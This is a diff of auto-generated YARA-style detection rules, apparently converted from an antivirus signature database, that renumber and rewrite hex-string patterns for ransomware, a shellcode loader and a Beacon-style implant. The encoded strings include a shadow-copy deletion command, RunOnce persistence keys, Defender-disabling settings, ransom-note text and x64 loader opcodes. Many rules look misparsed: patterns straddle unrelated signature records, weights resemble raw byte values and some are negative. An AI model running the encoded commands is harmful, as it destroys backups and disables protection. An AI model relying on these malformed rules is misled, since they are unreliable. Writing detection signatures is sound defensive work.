>=13 } -rule _InfrastructureShared_16784{ +rule _InfrastructureShared_17883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -198472,7 +211687,7 @@ rule _InfrastructureShared_16784{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*18177+(#a_44_2 & 1)*4608+(#a_5f_3 & 1)*24415+(#a_2e_4 & 1)*28007+(#a_69_5 & 1)*29811+(#a_4f_6 & 1)*30034+(#a_08_7 & 1)*2560+(#a_00_9 & 1)*28426) >=19 } -rule _InfrastructureShared_16785{ +rule _InfrastructureShared_17884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 06 00 21 " @@ -198486,7 +211701,7 @@ rule _InfrastructureShared_16785{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25441+(#a_63_2 & 1)*19804+(#a_00_3 & 1)*66+(#a_1a_4 & 1)*28675) >=33 } -rule _InfrastructureShared_16786{ +rule _InfrastructureShared_17885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -198497,7 +211712,7 @@ rule _InfrastructureShared_16786{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400) >=2 } -rule _InfrastructureShared_16787{ +rule _InfrastructureShared_17886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -198512,7 +211727,7 @@ rule _InfrastructureShared_16787{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*17746+(#a_00_2 & 1)*28001+(#a_74_3 & 1)*31090+(#a_5c_4 & 1)*30575+(#a_65_5 & 1)*28767) >=2 } -rule _InfrastructureShared_16788{ +rule _InfrastructureShared_17887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -198524,7 +211739,7 @@ rule _InfrastructureShared_16788{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28530+(#a_20_2 & 1)*28518) >=3 } -rule _InfrastructureShared_16789{ +rule _InfrastructureShared_17888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -198536,7 +211751,7 @@ rule _InfrastructureShared_16789{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2560+(#a_31_2 & 1)*1555) >=3 } -rule _InfrastructureShared_16790{ +rule _InfrastructureShared_17889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -198547,7 +211762,7 @@ rule _InfrastructureShared_16790{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*100) >=3 } -rule _InfrastructureShared_16791{ +rule _InfrastructureShared_17890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -198559,7 +211774,7 @@ rule _InfrastructureShared_16791{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*2648+(#a_01_2 & 1)*28419) >=4 } -rule _InfrastructureShared_16792{ +rule _InfrastructureShared_17891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198571,7 +211786,7 @@ rule _InfrastructureShared_16792{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_3 & 1)*78) >=4 } -rule _InfrastructureShared_16793{ +rule _InfrastructureShared_17892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198584,7 +211799,7 @@ rule _InfrastructureShared_16793{ ((#a_63_0 & 1)*17699+(#a_72_1 & 1)*30580+(#a_73_2 & 1)*18795+(#a_4f_3 & 1)*20303) >=4 } -rule _InfrastructureShared_16794{ +rule _InfrastructureShared_17893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198597,7 +211812,7 @@ rule _InfrastructureShared_16794{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*297+(#a_45_2 & 1)*20303+(#a_37_3 & 1)*32306) >=4 } -rule _InfrastructureShared_16795{ +rule _InfrastructureShared_17894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198608,7 +211823,7 @@ rule _InfrastructureShared_16795{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*0) >=4 } -rule _InfrastructureShared_16796{ +rule _InfrastructureShared_17895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -198620,7 +211835,7 @@ rule _InfrastructureShared_16796{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-511+(#a_72_2 & 1)*27491) >=4 } -rule _InfrastructureShared_16797{ +rule _InfrastructureShared_17896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -198630,18 +211845,17 @@ rule _InfrastructureShared_16797{ $a_74_2 = {01 00 0d 01 6b 67 6a 74 73 72 63 76 72 74 6b 67 6a 01 00 0d 01 3d 6a 26 26 4c 5a 36 36 6c 41 3f 3f 7e 00 00 78 15 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4f 4f 36 31 64 62 32 33 21 4d 54 42 00 01 00 40 81 01 39 37 31 30 42 44 30 36 38 44 36 31 34 37 46 42 38 45 34 30 36 30 42 41 } //19812 $a_38_3 = {39 31 39 32 38 35 33 30 46 44 39 39 35 44 38 32 39 44 43 42 31 36 43 46 43 36 33 39 33 43 38 43 36 30 37 01 00 2f 81 01 50 72 6f 74 6f 74 79 70 65 5f 54 6f 6b 65 } //17465 $a_6e_4 = {65 72 66 61 63 65 2e 41 62 6f 75 74 5f 57 41 56 45 53 2e 72 65 73 6f 75 72 63 65 73 01 00 31 81 01 50 72 6f 74 6f 74 79 70 65 5f 54 6f 6b 65 6e 5f 49 6e 74 65 72 66 61 63 65 2e 54 6f 6b 65 6e 5f 54 6f 6f 6c 62 61 72 2e } //24430 - $a_6f_5 = {72 63 65 73 01 00 25 81 01 24 63 66 34 61 63 35 34 62 2d 65 66 33 65 2d 34 36 37 35 2d 62 39 36 36 2d 66 33 36 66 65 66 66 33 37 31 38 64 01 00 05 81 01 4e 69 67 68 74 00 00 78 15 01 00 07 00 06 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d 61 6f 6c 6f 61 2e 53 49 42 21 4d 54 42 00 01 00 17 80 01 48 4f 57 20 54 4f 20 52 } //25970 - $a_52_6 = {20 59 4f 55 20 46 49 4c 45 53 01 00 23 80 01 76 73 73 61 64 6d 69 6e 20 44 65 6c 65 74 65 20 53 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 01 00 31 80 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 } //21573 - $a_74_7 = {65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 19 80 01 44 69 73 61 62 6c 65 4f 6e 41 63 63 65 73 73 50 72 6f 74 65 63 74 69 6f 6e 01 00 19 80 01 44 69 73 61 62 6c 65 42 65 68 61 76 69 6f 72 4d 6f 6e 69 74 6f 72 69 6e 67 01 00 19 80 01 44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 01 00 12 80 01 44 } //25970 - $a_62_8 = {65 41 6e 74 69 53 70 79 77 61 72 65 00 00 78 15 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 52 41 21 4d 54 42 00 01 00 0d 81 01 52 52 52 47 47 48 4a 47 48 2e 65 78 65 01 00 14 81 01 52 52 52 47 47 48 4a 47 48 2e 50 72 6f } //29545 - $a_74_9 = {65 73 01 00 19 81 01 52 52 52 47 47 48 4a 47 48 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 28 81 01 52 52 52 47 47 48 4a 47 48 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 48 81 01 63 3a 5c 55 73 65 72 73 5c 56 49 43 54 4f 52 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 52 52 52 } //25968 - $a_4a_10 = {48 5c 52 52 52 47 47 48 4a 47 48 5c 6f 62 6a 5c 44 65 62 75 67 5c 52 52 52 47 47 48 4a 47 48 2e 70 64 62 01 00 0b 81 01 72 65 73 6f 75 72 63 65 4d 61 6e 01 00 10 81 01 53 6b 69 64 6f 6d 6f 6e 65 79 2e 4d 6f 6e 65 79 } //18247 - $a_15_11 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 59 30 31 21 4d 54 42 00 01 00 1b 81 01 5c 54 61 70 65 6c 69 6e 65 73 31 32 34 5c 73 77 65 65 74 65 6e 65 64 2e 69 6e 69 01 00 13 81 01 5c 67 61 6d 6d 61 65 74 5c 6b 6f 67 6e 69 6e 67 65 6e 73 01 00 25 81 01 25 75 6e 64 69 73 70 72 6f 76 61 62 6c 65 25 5c 62 69 6a } //0 + $a_6f_5 = {72 63 65 73 01 00 25 81 01 24 63 66 34 61 63 35 34 62 2d 65 66 33 65 2d 34 36 37 35 2d 62 39 36 36 2d 66 33 36 66 65 66 66 33 37 31 38 64 01 00 05 81 01 4e 69 67 68 74 00 00 78 15 01 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 43 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 90 } //25970 + $a_d0_6 = {89 45 e8 90 00 01 00 20 03 8b 45 c8 41 89 c0 ba 00 00 00 00 b9 90 01 04 48 8b 05 90 01 04 ff d0 48 89 85 20 01 00 00 90 00 01 00 2f 03 48 8b 85 20 01 00 00 c7 44 24 20 90 01 04 41 b9 00 30 00 00 49 89 d0 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 18 01 00 00 90 00 01 00 30 03 48 8b 8d f8 00 00 00 48 8b 95 18 01 00 00 48 8b 85 20 01 00 00 48 c7 44 24 20 90 01 04 4d 89 c1 49 89 c8 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 45 03 48 8b 95 18 01 00 00 48 8b 85 20 01 00 00 48 c7 44 24 30 90 01 04 c7 44 24 28 90 01 04 48 c7 44 24 20 90 01 04 49 89 d1 41 b8 90 01 04 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 10 01 00 00 90 00 00 00 78 15 01 00 07 00 06 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d 61 6f 6c 6f 61 2e } //1025 + $a_21_7 = {54 42 00 01 00 17 80 01 48 4f 57 20 54 4f 20 52 45 54 55 52 4e 20 59 4f 55 20 46 49 4c 45 53 01 00 23 80 01 76 73 73 61 64 6d 69 6e 20 44 65 6c 65 74 65 20 53 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f } //18771 + $a_65_8 = {01 00 31 80 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 19 80 01 44 69 73 61 62 6c 65 4f 6e 41 63 63 65 73 73 50 72 6f 74 65 63 74 69 6f 6e 01 00 19 80 01 44 69 73 61 62 6c 65 42 65 68 61 76 69 6f 72 4d } //30065 + $a_74_9 = {72 69 6e 67 01 00 19 80 01 44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 01 00 12 80 01 44 69 73 61 62 6c 65 41 6e 74 69 53 70 79 77 61 72 65 00 00 78 15 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 52 41 21 4d 54 42 } //28271 + $a_52_11 = {47 47 48 4a 47 48 2e 65 78 65 01 00 14 81 01 52 52 52 47 47 48 4a 47 48 2e 50 72 6f 70 65 72 74 69 65 73 01 00 19 81 01 52 52 52 47 47 48 4a 47 48 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 28 81 01 52 52 52 47 47 48 4a 47 48 2e 50 72 } //385 condition: - ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*25972+(#a_74_2 & 1)*19812+(#a_38_3 & 1)*17465+(#a_6e_4 & 1)*24430+(#a_6f_5 & 1)*25970+(#a_52_6 & 1)*21573+(#a_74_7 & 1)*25970+(#a_62_8 & 1)*29545+(#a_74_9 & 1)*25968+(#a_4a_10 & 1)*18247+(#a_15_11 & 1)*0) >=4 + ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*25972+(#a_74_2 & 1)*19812+(#a_38_3 & 1)*17465+(#a_6e_4 & 1)*24430+(#a_6f_5 & 1)*25970+(#a_d0_6 & 1)*1025+(#a_21_7 & 1)*18771+(#a_65_8 & 1)*30065+(#a_74_9 & 1)*28271+(#a_52_11 & 1)*385) >=4 } -rule _InfrastructureShared_16798{ +rule _InfrastructureShared_17897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -198649,13 +211863,26 @@ rule _InfrastructureShared_16798{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4f 4f 36 31 64 62 32 33 21 4d 54 42 00 01 00 40 81 01 39 37 31 30 42 44 30 36 38 44 36 31 34 37 46 42 38 45 34 30 36 30 42 41 39 44 36 38 37 39 31 39 32 38 35 33 30 46 44 39 39 35 } //18467 $a_39_1 = {43 42 31 36 43 46 43 36 33 39 33 43 38 43 36 30 37 01 00 2f 81 01 50 72 6f 74 6f 74 79 70 65 5f 54 6f 6b 65 6e 5f 49 6e 74 65 72 66 61 63 65 2e 41 62 } //14404 $a_5f_2 = {41 56 45 53 2e 72 65 73 6f 75 72 63 65 73 01 00 31 81 01 50 72 6f 74 6f 74 79 70 65 5f 54 6f 6b 65 6e 5f 49 6e 74 65 72 66 61 63 65 2e 54 6f 6b 65 6e 5f 54 6f 6f 6c 62 61 72 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 63 66 34 61 63 35 34 62 2d 65 66 33 65 2d 34 36 37 35 2d 62 39 36 36 2d 66 33 36 66 65 66 66 33 37 31 38 64 01 00 05 81 01 4e } //30063 - $a_74_3 = {00 78 15 01 00 07 00 06 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d 61 6f 6c 6f 61 2e 53 49 42 21 4d 54 42 00 01 00 17 80 01 48 4f 57 20 54 4f 20 52 45 54 55 52 4e 20 59 4f 55 20 46 49 4c 45 53 01 00 23 80 01 76 73 73 61 64 6d 69 6e 20 44 65 6c 65 74 65 20 53 68 61 64 6f 77 73 20 2f 61 } //26473 - $a_2f_4 = {75 69 65 74 01 00 31 80 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 } //27756 + $a_74_3 = {00 78 15 01 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 43 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 48 89 45 e8 90 00 01 00 20 03 8b 45 c8 41 89 c0 ba 00 00 00 00 b9 ?? ?? ?? ?? 48 8b 05 ?? ?? ?? ?? ff d0 48 89 85 20 01 00 00 } //26473 + $a_03_4 = {48 8b 85 20 01 00 00 c7 44 24 20 ?? ?? ?? ?? 41 b9 00 30 00 00 49 89 d0 ba ?? ?? ?? ?? 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 48 89 85 18 01 00 00 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14404+(#a_5f_2 & 1)*30063+(#a_74_3 & 1)*26473+(#a_2f_4 & 1)*27756) >=5 + ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14404+(#a_5f_2 & 1)*30063+(#a_74_3 & 1)*26473+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_16799{ +rule _InfrastructureShared_17898{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 43 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 e8 90 00 01 00 20 03 8b 45 c8 41 89 c0 ba 00 00 00 00 b9 90 01 04 48 8b 05 90 01 04 } //21283 + $a_89_1 = {20 01 00 00 90 00 01 00 2f 03 48 8b 85 20 01 00 00 c7 44 24 20 90 01 04 41 b9 00 30 00 00 49 89 d0 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 18 01 00 00 90 00 01 00 30 03 48 8b 8d f8 00 00 00 48 8b 95 18 } //-12033 + $a_00_3 = {00 } //8325 + $a_24_4 = {90 01 04 4d 89 c1 49 89 c8 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 45 03 48 8b 95 18 01 00 00 48 8b 85 20 01 00 00 48 c7 44 24 30 90 01 04 c7 44 24 28 90 01 04 48 c7 44 24 20 90 01 04 49 89 d1 41 b8 } //-14520 + condition: + ((#a_46_0 & 1)*21283+(#a_89_1 & 1)*-12033+(#a_00_3 & 1)*8325+(#a_24_4 & 1)*-14520) >=5 + +} +rule _InfrastructureShared_17899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 06 00 07 00 21 " @@ -198671,7 +211898,7 @@ rule _InfrastructureShared_16799{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21280+(#a_61_2 & 1)*26948+(#a_4d_3 & 1)*16722+(#a_72_4 & 1)*11848+(#a_00_5 & 1)*29541+(#a_3a_6 & 1)*385) >=6 } -rule _InfrastructureShared_16800{ +rule _InfrastructureShared_17900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -198687,7 +211914,7 @@ rule _InfrastructureShared_16800{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*-32487+(#a_4a_2 & 1)*18247+(#a_5c_3 & 1)*29285+(#a_57_4 & 1)*21076+(#a_5c_5 & 1)*-32493+(#a_65_6 & 1)*28013) >=7 } -rule _InfrastructureShared_16801{ +rule _InfrastructureShared_17901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -198703,7 +211930,7 @@ rule _InfrastructureShared_16801{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_15_6 & 1)*0) >=7 } -rule _InfrastructureShared_16802{ +rule _InfrastructureShared_17902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -198714,17 +211941,17 @@ rule _InfrastructureShared_16802{ $a_69_3 = {73 74 61 6c 2e 65 78 65 00 00 78 15 01 00 09 00 09 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 6c 67 65 6e 74 2e 50 53 45 42 21 4d 54 42 00 05 00 9f 03 73 84 00 00 0a fe 0e 00 00 00 fe 09 00 00 6f 85 90 01 03 fe 0e 03 00 20 00 00 00 00 fe 0e 04 00 2b 2f fe 0c 03 00 fe 0c 04 00 93 fe 0e 05 00 fe 0c 00 00 } //21761 $a_00_4 = {fe 09 02 00 59 } //3326 $a_90_5 = {03 26 fe 0c 04 00 20 01 00 00 00 58 fe 0e 04 00 fe 0c 04 00 fe 0c 03 00 8e 69 32 c5 fe 09 01 00 20 3d 37 00 00 fe 04 fe 0e 06 00 fe 0c 06 00 2c 01 00 fe 09 04 00 20 8e 9f 17 00 fe 04 fe 0e 07 00 fe 0c 07 00 2c 01 00 fe 0c 00 00 6f 87 90 01 03 fe 0e 08 00 2b 00 fe 0c 08 00 2a 90 00 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0b 01 47 65 74 48 61 73 68 43 6f 64 65 01 00 0c 01 55 54 46 } //28625 - $a_63_6 = {64 69 6e 67 01 00 12 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 00 00 78 15 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 54 41 21 4d 54 42 00 01 00 07 80 01 54 6f 49 6e 74 33 32 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //17720 - $a_80_7 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //CreateDecryptor 1 - $a_80_8 = {67 64 66 67 66 64 67 23 } //gdfgfdg# 1 - $a_80_9 = {23 67 64 66 67 23 } //#gdfg# 1 - $a_80_10 = {23 67 66 64 2e 64 6c 6c 23 } //#gfd.dll# 1 - $a_80_11 = {23 67 73 64 66 67 67 66 67 73 64 2e 64 6c 6c 23 } //#gsdfggfgsd.dll# 1 + $a_63_6 = {64 69 6e 67 01 00 12 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 00 00 78 15 01 00 0b 00 0b 00 0b 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 4e 68 61 77 6b 43 32 2e 41 00 01 00 10 01 42 65 61 63 6f 6e 44 61 74 61 50 61 72 73 65 00 01 00 0f 01 42 65 61 63 6f 6e 55 73 65 54 6f 6b 65 6e 00 01 00 12 01 42 65 61 63 6f 6e 52 } //17720 + $a_72_7 = {54 6f 6b 65 6e 00 01 00 0e 01 42 65 61 63 6f 6e 49 73 41 64 6d 69 6e 00 01 00 11 01 42 65 61 63 6f 6e 47 65 74 53 70 61 77 6e 54 6f 00 01 00 1c 01 42 65 61 63 6f 6e 53 70 61 77 6e 54 65 6d 70 6f 72 61 72 79 50 72 6f 63 65 73 73 00 01 00 14 01 42 65 61 63 6f 6e 49 6e 6a 65 63 74 50 72 6f 63 65 73 73 00 } //30309 + $a_01_8 = {42 65 61 63 6f 6e 49 6e 6a 65 63 74 54 65 6d 70 6f 72 61 72 79 50 72 6f 63 65 73 73 00 } //1 + $a_01_9 = {42 65 61 63 6f 6e 43 6c 65 61 6e 75 70 50 72 6f 63 65 73 73 00 } //1 + $a_01_10 = {5c 5c 2e 5c 70 69 70 65 5c } //1 \\.\pipe\ + $a_01_11 = {46 50 5f 4e 4f 5f 48 4f 53 54 5f 43 48 45 43 4b } //1 FP_NO_HOST_CHECK condition: - ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12907+(#a_65_2 & 1)*26998+(#a_69_3 & 1)*21761+(#a_00_4 & 1)*3326+(#a_90_5 & 1)*28625+(#a_63_6 & 1)*17720+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1) >=8 + ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12907+(#a_65_2 & 1)*26998+(#a_69_3 & 1)*21761+(#a_00_4 & 1)*3326+(#a_90_5 & 1)*28625+(#a_63_6 & 1)*17720+(#a_72_7 & 1)*30309+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=8 } -rule _InfrastructureShared_16803{ +rule _InfrastructureShared_17903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -198737,7 +211964,25 @@ rule _InfrastructureShared_16803{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3838+(#a_d1_3 & 1)*2+(#a_08_4 & 1)*-512) >=9 } -rule _InfrastructureShared_16804{ +rule _InfrastructureShared_17904{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 4e 68 61 77 6b 43 32 2e 41 00 01 00 10 01 42 65 61 63 6f 6e 44 61 74 61 50 61 72 73 65 00 01 00 0f 01 42 65 61 63 6f 6e 55 73 65 54 6f 6b 65 6e 00 01 00 12 01 42 65 61 63 6f 6e 52 65 76 65 72 74 54 6f 6b 65 6e } //21283 + $a_61_2 = {6f 6e 49 73 41 64 6d 69 6e 00 01 00 11 01 42 65 61 63 6f 6e 47 65 74 53 70 61 77 6e 54 6f 00 01 00 1c 01 42 65 61 63 6f 6e 53 70 61 77 6e 54 65 6d 70 6f 72 61 72 79 50 72 6f 63 65 73 73 00 01 00 14 01 42 65 61 63 6f 6e 49 6e 6a 65 63 74 50 72 6f 63 65 73 73 00 01 00 1d 01 42 65 61 63 6f 6e 49 6e 6a 65 } //16897 + $a_65_3 = {70 6f 72 61 72 79 50 72 6f 63 65 73 73 00 01 00 15 01 42 65 61 63 6f 6e 43 6c 65 61 6e 75 70 50 72 6f 63 65 73 73 00 01 00 09 01 5c 5c 2e 5c 70 69 70 65 5c 01 00 10 01 46 50 5f 4e 4f 5f 48 4f 53 54 5f 43 48 45 43 4b 00 00 78 15 01 00 0d 00 0d 00 0d 00 } //29795 + $a_53_4 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 54 41 21 4d 54 42 00 01 00 07 80 01 54 6f 49 6e 74 33 32 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 80 01 } //8993 + $a_61_5 = {65 44 65 63 72 79 70 74 6f 72 01 00 08 80 01 67 64 66 67 66 64 67 23 01 00 06 80 01 23 67 64 66 67 23 01 00 09 80 01 23 67 66 64 2e 64 6c 6c 23 01 00 10 80 01 23 67 73 64 66 67 67 66 67 73 64 2e 64 6c 6c 23 01 00 09 80 01 23 67 64 66 2e 64 6c 6c 23 01 00 08 80 01 23 67 66 2e 64 6c 6c 23 01 00 18 80 01 } //29251 + $a_66_6 = {67 73 64 67 64 67 73 64 67 66 3b 64 64 67 2e 64 6c 6c 23 01 00 19 80 01 23 67 64 73 67 64 68 66 64 67 67 67 67 67 67 64 6b 6b 73 67 2e 64 6c 6c 23 01 00 09 80 01 23 66 64 2e 70 64 6c 6c 23 01 00 0d 80 01 23 64 66 67 2e 64 70 6f 6c 70 6c 6c 23 00 00 78 15 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //26403 + $a_65_7 = {6c 61 2e 56 49 32 32 32 39 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0c 80 01 46 75 6e 63 74 69 6f 6e 49 6e 69 74 01 00 09 80 01 49 49 49 49 49 49 49 49 32 01 00 0e 80 01 58 5f 31 32 33 31 32 33 34 35 } //29806 + $a_33_8 = {00 0c 80 01 49 49 49 49 49 49 49 49 49 49 49 33 01 00 0f 80 01 49 49 49 49 49 49 49 49 49 49 49 49 49 49 34 01 00 0a 80 01 49 49 49 49 49 49 49 49 49 35 01 00 11 } //13108 + $a_65_9 = {5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 05 80 01 53 70 6c 69 74 01 00 0b 80 01 54 6f 43 68 61 72 41 72 72 61 79 01 00 16 80 01 52 65 73 6f 75 72 63 65 5f 4d 65 74 65 72 2e 43 68 65 63 6b 65 72 01 00 06 80 01 58 5f 34 35 36 31 01 00 0b 80 01 49 49 49 49 49 49 49 49 49 49 31 00 00 78 15 01 00 10 00 10 } //384 + condition: + ((#a_46_0 & 1)*21283+(#a_61_2 & 1)*16897+(#a_65_3 & 1)*29795+(#a_53_4 & 1)*8993+(#a_61_5 & 1)*29251+(#a_66_6 & 1)*26403+(#a_65_7 & 1)*29806+(#a_33_8 & 1)*13108+(#a_65_9 & 1)*384) >=11 + +} +rule _InfrastructureShared_17905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -198757,7 +212002,7 @@ rule _InfrastructureShared_16804{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28532+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_15_5 & 1)*0+(#a_00_6 & 1)*13110+(#a_49_7 & 1)*384+(#a_01_8 & 1)*26988+(#a_ff_10 & 1)*1536+(#a_ff_12 & 1)*1536) >=13 } -rule _InfrastructureShared_16805{ 